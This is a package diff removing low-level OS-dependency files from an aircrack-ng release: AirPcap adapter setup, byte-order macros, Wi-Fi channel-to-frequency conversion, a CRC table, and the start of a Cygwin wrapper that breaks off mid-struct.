-    airpcap_handle = AirpcapOpen(iface, errbuf);
-
-    if(airpcap_handle == NULL)
-    {
-        fprintf( stderr, "This adapter doesn't have wireless extensions. Quitting\n");
-        //pcap_close( winpcap_adapter );
-        return( -1 );
-    }
-
-    /* Tell the adapter that the packets we'll send and receive don't include the FCS */
-    if(!AirpcapSetFcsPresence(airpcap_handle, FALSE))
-		return printErrorCloseAndReturn("Error setting FCS presence: %s\n", -1);
-
-    /* Set the link layer to bare 802.11 */
-    if(!AirpcapSetLinkType(airpcap_handle, AIRPCAP_LT_802_11))
-		return printErrorCloseAndReturn("Error setting the link type: %s\n", -1);
-
-    /* Accept correct frames only */
-	if( !AirpcapSetFcsValidation(airpcap_handle, AIRPCAP_VT_ACCEPT_CORRECT_FRAMES) )
-		return printErrorCloseAndReturn("Error setting FCS validation: %s\n", -1);
-
-    /* Set a low mintocopy for better responsiveness */
-    if(!AirpcapSetMinToCopy(airpcap_handle, 1))
-		return printErrorCloseAndReturn("Error setting MinToCopy: %s\n", -1);
-
-	return 0;
-}
-
-/**
- * Set device channel
- * @param chan Channel
- * @return 0 if successful, -1 if it failed
- */
-int airpcap_set_chan(int chan)
-{
-	// Make sure a valid channel is given
-	if (chan <= 0)
-		return -1;
-
-	if(!AirpcapSetDeviceChannel(airpcap_handle, chan))
-	{
-		printf("Error setting the channel to %d: %s\n", chan, AirpcapGetLastError(airpcap_handle));
-		return -1;
-	}
-
-	return 0;
-}
-
-#endif

aircrack-ng-1.2-rc4.tar.gz/src/osdep/airpcap.h Deleted

aircrack-ng-1.2-rc4.tar.gz/src/osdep/byteorder.h Deleted

@@ -1,439 +0,0 @@
-/*
- *  Compatibility header
- *
- *  Copyright (C) 2009-2016 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#ifndef _AIRCRACK_NG_BYTEORDER_H_
-#define _AIRCRACK_NG_BYTEORDER_H_
-
-	#define ___my_swab16(x) \
-	((u_int16_t)( \
-			(((u_int16_t)(x) & (u_int16_t)0x00ffU) << 8) | \
-			(((u_int16_t)(x) & (u_int16_t)0xff00U) >> 8) ))
-	#define ___my_swab32(x) \
-	((u_int32_t)( \
-			(((u_int32_t)(x) & (u_int32_t)0x000000ffUL) << 24) | \
-			(((u_int32_t)(x) & (u_int32_t)0x0000ff00UL) <<  8) | \
-			(((u_int32_t)(x) & (u_int32_t)0x00ff0000UL) >>  8) | \
-			(((u_int32_t)(x) & (u_int32_t)0xff000000UL) >> 24) ))
-	#define ___my_swab64(x) \
-	((u_int64_t)( \
-			(u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x00000000000000ffULL) << 56) | \
-			(u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x000000000000ff00ULL) << 40) | \
-			(u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x0000000000ff0000ULL) << 24) | \
-			(u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x00000000ff000000ULL) <<  8) | \
-			(u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x000000ff00000000ULL) >>  8) | \
-			(u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x0000ff0000000000ULL) >> 24) | \
-			(u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x00ff000000000000ULL) >> 40) | \
-			(u_int64_t)(((u_int64_t)(x) & (u_int64_t)0xff00000000000000ULL) >> 56) ))
-
-
-	/*
-	 * Linux
-	 */
-	#if defined(linux) || defined(Linux) || defined(__linux__) || defined(__linux) || defined(__gnu_linux__)
-		#include <endian.h>
-		#include <unistd.h>
-		#include <stdint.h>
-
-		#ifndef __int8_t_defined
-			typedef uint64_t u_int64_t;
-			typedef uint32_t u_int32_t;
-			typedef uint16_t u_int16_t;
-			typedef uint8_t  u_int8_t;
-		#endif
-
-	#endif
-
-	/*
-	 * Cygwin
-	 */
-	#if defined(__CYGWIN32__)
-		#include <asm/byteorder.h>
-		#include <unistd.h>
-
-		#define __be64_to_cpu(x) ___my_swab64(x)
-		#define __be32_to_cpu(x) ___my_swab32(x)
-		#define __be16_to_cpu(x) ___my_swab16(x)
-		#define __cpu_to_be64(x) ___my_swab64(x)
-		#define __cpu_to_be32(x) ___my_swab32(x)
-		#define __cpu_to_be16(x) ___my_swab16(x)
-		#define __le64_to_cpu(x) (x)
-		#define __le32_to_cpu(x) (x)
-		#define __le16_to_cpu(x) (x)
-		#define __cpu_to_le64(x) (x)
-		#define __cpu_to_le32(x) (x)
-		#define __cpu_to_le16(x) (x)
-
-		#define AIRCRACK_NG_BYTE_ORDER_DEFINED
-
-	#endif
-
-	/*
-	 * Windows (DDK)
-	 */
-	#if defined(__WIN__)
-
-		#include <io.h>
-
-		#define __be64_to_cpu(x) ___my_swab64(x)
-		#define __be32_to_cpu(x) ___my_swab32(x)
-		#define __be16_to_cpu(x) ___my_swab16(x)
-		#define __cpu_to_be64(x) ___my_swab64(x)
-		#define __cpu_to_be32(x) ___my_swab32(x)
-		#define __cpu_to_be16(x) ___my_swab16(x)
-		#define __le64_to_cpu(x) (x)
-		#define __le32_to_cpu(x) (x)
-		#define __le16_to_cpu(x) (x)
-		#define __cpu_to_le64(x) (x)
-		#define __cpu_to_le32(x) (x)
-		#define __cpu_to_le16(x) (x)
-
-		#define AIRCRACK_NG_BYTE_ORDER_DEFINED
-
-	#endif
-
-	/*
-	 * MAC (Darwin)
-	 */
-	#if defined(__APPLE_CC__)
-		#if defined(__x86_64__) && defined(__APPLE__)
-
-			#include <libkern/OSByteOrder.h>
-
-			#define __swab64(x)      (unsigned long long) OSSwapInt64((uint64_t)x)
-			#define __swab32(x)      (unsigned long) OSSwapInt32((uint32_t)x)
-			#define __swab16(x)      (unsigned short) OSSwapInt16((uint16_t)x)
-			#define __be64_to_cpu(x) (unsigned long long) OSSwapBigToHostInt64((uint64_t)x)
-			#define __be32_to_cpu(x) (unsigned long) OSSwapBigToHostInt32((uint32_t)x)
-			#define __be16_to_cpu(x) (unsigned short) OSSwapBigToHostInt16((uint16_t)x)
-			#define __le64_to_cpu(x) (unsigned long long) OSSwapLittleToHostInt64((uint64_t)x)
-			#define __le32_to_cpu(x) (unsigned long) OSSwapLittleToHostInt32((uint32_t)x)
-			#define __le16_to_cpu(x) (unsigned short) OSSwapLittleToHostInt16((uint16_t)x)
-			#define __cpu_to_be64(x) (unsigned long long) OSSwapHostToBigInt64((uint64_t)x)
-			#define __cpu_to_be32(x) (unsigned long) OSSwapHostToBigInt32((uint32_t)x)
-			#define __cpu_to_be16(x) (unsigned short) OSSwapHostToBigInt16((uint16_t)x)
-			#define __cpu_to_le64(x) (unsigned long long) OSSwapHostToLittleInt64((uint64_t)x)
-			#define __cpu_to_le32(x) (unsigned long) OSSwapHostToLittleInt32((uint32_t)x)
-			#define __cpu_to_le16(x) (unsigned short) OSSwapHostToLittleInt16((uint16_t)x)
-
-		#else
-
-			#include <architecture/byte_order.h>
-
-			#define __swab64(x)      NXSwapLongLong(x)
-			#define __swab32(x)      NXSwapLong(x)
-			#define __swab16(x)      NXSwapShort(x)
-			#define __be64_to_cpu(x) NXSwapBigLongLongToHost(x)
-			#define __be32_to_cpu(x) NXSwapBigLongToHost(x)
-			#define __be16_to_cpu(x) NXSwapBigShortToHost(x)
-			#define __le64_to_cpu(x) NXSwapLittleLongLongToHost(x)
-			#define __le32_to_cpu(x) NXSwapLittleLongToHost(x)
-			#define __le16_to_cpu(x) NXSwapLittleShortToHost(x)
-			#define __cpu_to_be64(x) NXSwapHostLongLongToBig(x)
-			#define __cpu_to_be32(x) NXSwapHostLongToBig(x)
-			#define __cpu_to_be16(x) NXSwapHostShortToBig(x)
-			#define __cpu_to_le64(x) NXSwapHostLongLongToLittle(x)
-			#define __cpu_to_le32(x) NXSwapHostLongToLittle(x)
-			#define __cpu_to_le16(x) NXSwapHostShortToLittle(x)
-
-		#endif
-
-		#define __LITTLE_ENDIAN 1234
-		#define __BIG_ENDIAN    4321
-		#define __PDP_ENDIAN    3412
-		#define __BYTE_ORDER    __BIG_ENDIAN
-
-		#define AIRCRACK_NG_BYTE_ORDER_DEFINED
-
-	#endif
-
-	/*
-	 * Solaris
-	 * -------
-	 */
-	#if defined(__SVR4) && defined(__sun__)
-	#include <sys/byteorder.h>
-	#include <sys/types.h>
-	#include <unistd.h>
-
-	typedef uint64_t u_int64_t;
-	typedef uint32_t u_int32_t;
-	typedef uint16_t u_int16_t;
-	typedef uint8_t  u_int8_t;
-
-	#if defined(__sparc__)
-		#define __be64_to_cpu(x) (x)
-		#define __be32_to_cpu(x) (x)
-		#define __be16_to_cpu(x) (x)
-		#define __cpu_to_be64(x) (x)
-		#define __cpu_to_be32(x) (x)
-		#define __cpu_to_be16(x) (x)
-		#define __le64_to_cpu(x) ___my_swab64(x)
-		#define __le32_to_cpu(x) ___my_swab32(x)
-		#define __le16_to_cpu(x) ___my_swab16(x)
-		#define __cpu_to_le64(x) ___my_swab64(x)
-		#define __cpu_to_le32(x) ___my_swab32(x)
-		#define __cpu_to_le16(x) ___my_swab16(x)
-
-		#define AIRCRACK_NG_BYTE_ORDER_DEFINED
-	#else
-		#define AIRCRACK_NG_BYTE_ORDER 1
-		#define LITTLE_ENDIAN 1
-	#endif
-	#endif
-
-	/*
-	 * Custom stuff
-	 */
-	#if  defined(__MACH__) && !defined(__APPLE_CC__) && !defined(__GNU__)
-		#include <libkern/OSByteOrder.h>
-		#define __cpu_to_be64(x) = OSSwapHostToBigInt64(x)
-		#define __cpu_to_be32(x) = OSSwapHostToBigInt32(x)
-
-		#define AIRCRACK_NG_BYTE_ORDER_DEFINED
-	#endif
-
-	// FreeBSD
-	#ifdef __FreeBSD__
-		#undef ushort
-		#undef uint
-		#include <sys/types.h>
-	#endif
-
-	// XXX: Is there anything to include on OpenBSD/NetBSD/DragonFlyBSD/...?
-
-
-	// XXX: Mac: Check http://www.opensource.apple.com/source/CF/CF-476.18/CFByteOrder.h
-	//           http://developer.apple.com/DOCUMENTATION/CoreFoundation/Reference/CFByteOrderUtils/Reference/reference.html
-	//           Write to apple to ask what should be used.
-
-	#if defined(LITTLE_ENDIAN)
-		#define AIRCRACK_NG_LITTLE_ENDIAN LITTLE_ENDIAN
-	#elif defined(__LITTLE_ENDIAN)
-		#define AIRCRACK_NG_LITTLE_ENDIAN __LITTLE_ENDIAN
-	#elif defined(_LITTLE_ENDIAN)
-		#define AIRCRACK_NG_LITTLE_ENDIAN _LITTLE_ENDIAN
-	#endif
-
-	#if defined(BIG_ENDIAN)
-		#define AIRCRACK_NG_BIG_ENDIAN BIG_ENDIAN
-	#elif defined(__BIG_ENDIAN)
-		#define AIRCRACK_NG_BIG_ENDIAN __BIG_ENDIAN
-	#elif defined(_BIG_ENDIAN)
-		#define AIRCRACK_NG_BIG_ENDIAN _BIG_ENDIAN
-	#endif
-
-	#if !defined(AIRCRACK_NG_LITTLE_ENDIAN) && !defined(AIRCRACK_NG_BIG_ENDIAN)
-		#error Impossible to determine endianness (Little or Big endian), please contact the author.
-	#endif
-
-	#if defined(BYTE_ORDER)
-		#if (BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
-			#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN
-		#elif (BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
-			#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN
-		#endif
-	#elif defined(__BYTE_ORDER)
-		#if (__BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
-			#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN
-		#elif (__BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
-			#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN
-		#endif
-	#elif defined(_BYTE_ORDER)
-		#if (_BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
-			#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN
-		#elif (_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
-			#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN
-		#endif
-	#endif
-
-	#ifndef AIRCRACK_NG_BYTE_ORDER
-		#error Impossible to determine endianness (Little or Big endian), please contact the author.
-	#endif
-
-	#if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
-
-		#ifndef AIRCRACK_NG_BYTE_ORDER_DEFINED
-			#define __be64_to_cpu(x) ___my_swab64(x)
-			#define __be32_to_cpu(x) ___my_swab32(x)
-			#define __be16_to_cpu(x) ___my_swab16(x)
-			#define __cpu_to_be64(x) ___my_swab64(x)
-			#define __cpu_to_be32(x) ___my_swab32(x)
-			#define __cpu_to_be16(x) ___my_swab16(x)
-			#define __le64_to_cpu(x) (x)
-			#define __le32_to_cpu(x) (x)
-			#define __le16_to_cpu(x) (x)
-			#define __cpu_to_le64(x) (x)
-			#define __cpu_to_le32(x) (x)
-			#define __cpu_to_le16(x) (x)
-		#endif
-
-		#ifndef htobe16
-			#define htobe16 ___my_swab16
-		#endif
-		#ifndef htobe32
-			#define htobe32 ___my_swab32
-		#endif
-                #ifndef htobe64
-                        #define htobe64 ___my_swab64
-                #endif
-		#ifndef betoh16
-			#define betoh16 ___my_swab16
-		#endif
-		#ifndef betoh32
-			#define betoh32 ___my_swab32
-		#endif
-                #ifndef betoh64
-                        #define betoh64 ___my_swab64
-                #endif
-
-		#ifndef htole16
-			#define htole16(x) (x)
-		#endif
-		#ifndef htole32
-			#define htole32(x) (x)
-		#endif
-                #ifndef htole64
-                        #define htole64(x) (x)
-                #endif
-		#ifndef letoh16
-			#define letoh16(x) (x)
-		#endif
-		#ifndef letoh32
-			#define letoh32(x) (x)
-		#endif
-                #ifndef letoh64
-                        #define letoh64(x) (x)
-                #endif
-
-	#endif
-
-	#if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
-
-		#ifndef AIRCRACK_NG_BYTE_ORDER_DEFINED
-			#define __be64_to_cpu(x) (x)
-			#define __be32_to_cpu(x) (x)
-			#define __be16_to_cpu(x) (x)
-			#define __cpu_to_be64(x) (x)
-			#define __cpu_to_be32(x) (x)
-			#define __cpu_to_be16(x) (x)
-			#define __le64_to_cpu(x) ___my_swab64(x)
-			#define __le32_to_cpu(x) ___my_swab32(x)
-			#define __le16_to_cpu(x) ___my_swab16(x)
-			#define __cpu_to_le64(x) ___my_swab64(x)
-			#define __cpu_to_le32(x) ___my_swab32(x)
-			#define __cpu_to_le16(x) ___my_swab16(x)
-		#endif
-
-		#ifndef htobe16
-			#define htobe16(x) (x)
-		#endif
-		#ifndef htobe32
-			#define htobe32(x) (x)
-		#endif
-                #ifndef htobe64
-                        #define htobe64(x) (x)
-                #endif
-		#ifndef betoh16
-			#define betoh16(x) (x)
-		#endif
-		#ifndef betoh32
-			#define betoh32(x) (x)
-		#endif
-                #ifndef betoh64
-                        #define betoh64(x) (x)
-                #endif
-
-		#ifndef htole16
-			#define htole16 ___my_swab16
-		#endif
-		#ifndef htole32
-			#define htole32 ___my_swab32
-		#endif
-                #ifndef htole64
-                        #define htole64 ___my_swab64
-                #endif
-		#ifndef letoh16
-			#define letoh16 ___my_swab16
-		#endif
-		#ifndef letoh32
-			#define letoh32 ___my_swab32
-		#endif
-                #ifndef letoh64
-                        #define letoh64 ___my_swab64
-                #endif
-
-	#endif
-
-	// Common defines
-	#define cpu_to_le64 __cpu_to_le64
-	#define le64_to_cpu __le64_to_cpu
-	#define cpu_to_le32 __cpu_to_le32
-	#define le32_to_cpu __le32_to_cpu
-	#define cpu_to_le16 __cpu_to_le16
-	#define le16_to_cpu __le16_to_cpu
-	#define cpu_to_be64 __cpu_to_be64
-	#define be64_to_cpu __be64_to_cpu
-	#define cpu_to_be32 __cpu_to_be32
-	#define be32_to_cpu __be32_to_cpu
-	#define cpu_to_be16 __cpu_to_be16
-	#define be16_to_cpu __be16_to_cpu
-
-	#ifndef le16toh
-		#define le16toh le16_to_cpu
-	#endif
-	#ifndef be16toh
-		#define be16toh be16_to_cpu
-	#endif
-	#ifndef le32toh
-		#define le32toh le32_to_cpu
-	#endif
-	#ifndef be32toh
-		#define be32toh be32_to_cpu
-	#endif
-
-
-	#ifndef htons
-		#define htons be16_to_cpu
-	#endif
-	#ifndef htonl
-		#define htonl cpu_to_be16
-	#endif
-	#ifndef ntohs
-		#define ntohs cpu_to_be16
-	#endif
-	#ifndef ntohl
-		#define ntohl cpu_to_be32
-	#endif
-
-#endif

aircrack-ng-1.2-rc4.tar.gz/src/osdep/common.c Deleted

@@ -1,64 +0,0 @@
-  /*
-   *  Copyright (c) 2008-2016, Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
-   *
-   *  Common OSdep stuff
-   *
-   *  This program is free software; you can redistribute it and/or modify
-   *  it under the terms of the GNU General Public License as published by
-   *  the Free Software Foundation; either version 2 of the License, or
-   *  (at your option) any later version.
-   *
-   *  This program is distributed in the hope that it will be useful,
-   *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-   *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-   *  GNU General Public License for more details.
-   *
-   *  You should have received a copy of the GNU General Public License
-   *  along with this program; if not, write to the Free Software
-   *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-   */
-#include <stdlib.h>
-#include <stdio.h>
-#include "common.h"
-
-/**
- * Return the frequency in Mhz from a channel number
- */
-int getFrequencyFromChannel(int channel)
-{
-	static int frequencies[] = {
-		-1, // No channel 0
-		2412, 2417, 2422, 2427, 2432, 2437, 2442, 2447, 2452, 2457, 2462, 2467, 2472, 2484,
-		-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, // Nothing from channel 15 to 34 (exclusive)
-		5170, 5175, 5180, 5185, 5190, 5195, 5200, 5205, 5210, 5215, 5220, 5225, 5230, 5235, 5240, 5245,
-		5250, 5255, 5260, 5265, 5270, 5275, 5280, 5285, 5290, 5295, 5300, 5305, 5310, 5315, 5320, 5325,
-		5330, 5335, 5340, 5345, 5350, 5355, 5360, 5365, 5370, 5375, 5380, 5385, 5390, 5395, 5400, 5405,
-		5410, 5415, 5420, 5425, 5430, 5435, 5440, 5445, 5450, 5455, 5460, 5465, 5470, 5475, 5480, 5485,
-		5490, 5495, 5500, 5505, 5510, 5515, 5520, 5525, 5530, 5535, 5540, 5545, 5550, 5555, 5560, 5565,
-		5570, 5575, 5580, 5585, 5590, 5595, 5600, 5605, 5610, 5615, 5620, 5625, 5630, 5635, 5640, 5645,
-		5650, 5655, 5660, 5665, 5670, 5675, 5680, 5685, 5690, 5695, 5700, 5705, 5710, 5715, 5720, 5725,
-		5730, 5735, 5740, 5745, 5750, 5755, 5760, 5765, 5770, 5775, 5780, 5785, 5790, 5795, 5800, 5805,
-		5810, 5815, 5820, 5825, 5830, 5835, 5840, 5845, 5850, 5855, 5860, 5865, 5870, 5875, 5880, 5885,
-		5890, 5895, 5900, 5905, 5910, 5915, 5920, 5925, 5930, 5935, 5940, 5945, 5950, 5955, 5960, 5965,
-		5970, 5975, 5980, 5985, 5990, 5995, 6000, 6005, 6010, 6015, 6020, 6025, 6030, 6035, 6040, 6045,
-		6050, 6055, 6060, 6065, 6070, 6075, 6080, 6085, 6090, 6095, 6100
-	};
-
-	return (channel > 0 && channel <= HIGHEST_CHANNEL) ? frequencies[channel] : (channel >= LOWEST_CHANNEL && channel <= -4) ? 5000 - (channel * 5) : -1 ;
-}
-
-/**
- * Return the channel from the frequency (in Mhz)
- */
-int getChannelFromFrequency(int frequency)
-{
-	if (frequency >= 2412 && frequency <= 2472)
-		return (frequency - 2407) / 5;
-	else if (frequency == 2484)
-		return 14;
-
-	else if (frequency >= 4920 && frequency <= 6100)
-		return (frequency - 5000) / 5;
-	else
-		return -1;
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/common.h Deleted

@@ -1,48 +0,0 @@
-/*
- * (c) 2010-2016 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston,
- * MA 02111-1307, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-#ifndef _OSDEP_COMMON_H_
-#define _OSDEP_COMMON_H_
-
-int getFrequencyFromChannel(int channel);
-int getChannelFromFrequency(int frequency);
-
-/*
-// For later use, because aircrack-ng doesn't compile with MS compilers
-#if defined(WIN32) || defined(__WIN__)
-#define ftruncate(a, b) _chsize(a,b)
-#endif
-*/
-
-#define HIGHEST_CHANNEL 221
-#define LOWEST_CHANNEL -16
-
-#endif

aircrack-ng-1.2-rc4.tar.gz/src/osdep/crctable_osdep.h Deleted

@@ -1,40 +0,0 @@
-#ifndef _CRCTABLE_OSDEP_H
-#define _CRCTABLE_OSDEP_H
-
-const unsigned long int crc_tbl_osdep[256] =
-{
-    0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3,
-    0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91,
-    0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
-    0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5,
-    0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
-    0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
-    0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F,
-    0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D,
-    0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
-    0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
-    0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457,
-    0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
-    0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB,
-    0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9,
-    0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
-    0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD,
-    0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683,
-    0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
-    0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7,
-    0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
-    0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
-    0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79,
-    0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F,
-    0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
-    0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
-    0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21,
-    0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
-    0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45,
-    0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB,
-    0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
-    0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF,
-    0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D
-};
-
-#endif /* crctable_osdep.h */

aircrack-ng-1.2-rc4.tar.gz/src/osdep/cygwin.c Deleted

@@ -1,591 +0,0 @@
-  /*
-   *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-   *
-   *  OS dependent API for cygwin. It relies on an external
-   *  DLL to do the actual wifi stuff
-   *
-   *  This program is free software; you can redistribute it and/or modify
-   *  it under the terms of the GNU General Public License as published by
-   *  the Free Software Foundation; either version 2 of the License, or
-   *  (at your option) any later version.
-   *
-   *  This program is distributed in the hope that it will be useful,
-   *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-   *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-   *  GNU General Public License for more details.
-   *
-   *  You should have received a copy of the GNU General Public License
-   *  along with this program; if not, write to the Free Software
-   *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-   */
-
-#include <pthread.h>
-#include <unistd.h>
-#include <assert.h>
-#include <stdlib.h>
-#include <dlfcn.h>
-#include <string.h>
-#include <stdio.h>
-#include <ctype.h>
-#include <windows.h>
-
-#include "osdep.h"
-#include "network.h"
-#include "cygwin.h"
-
-#ifdef HAVE_AIRPCAP
-	#include "airpcap.h"
-#endif
-
-#define xstr(s) str(s)
-#define str(s) #s
-
-#define DLL_EXTENSION ".dll"
-
-struct priv_cygwin {
-	pthread_t	pc_reader;
-	volatile int	pc_running;
-	int		pc_pipe[2]; /* reader -> parent */
-	int		pc_channel;
-	int		pc_frequency;
-	struct wif	*pc_wi;
-	int		pc_did_init;
-
-	int		isAirpcap;
-	int		useDll;
-
-	int		(*pc_init)(char *param);
-	int		(*pc_set_chan)(int chan);
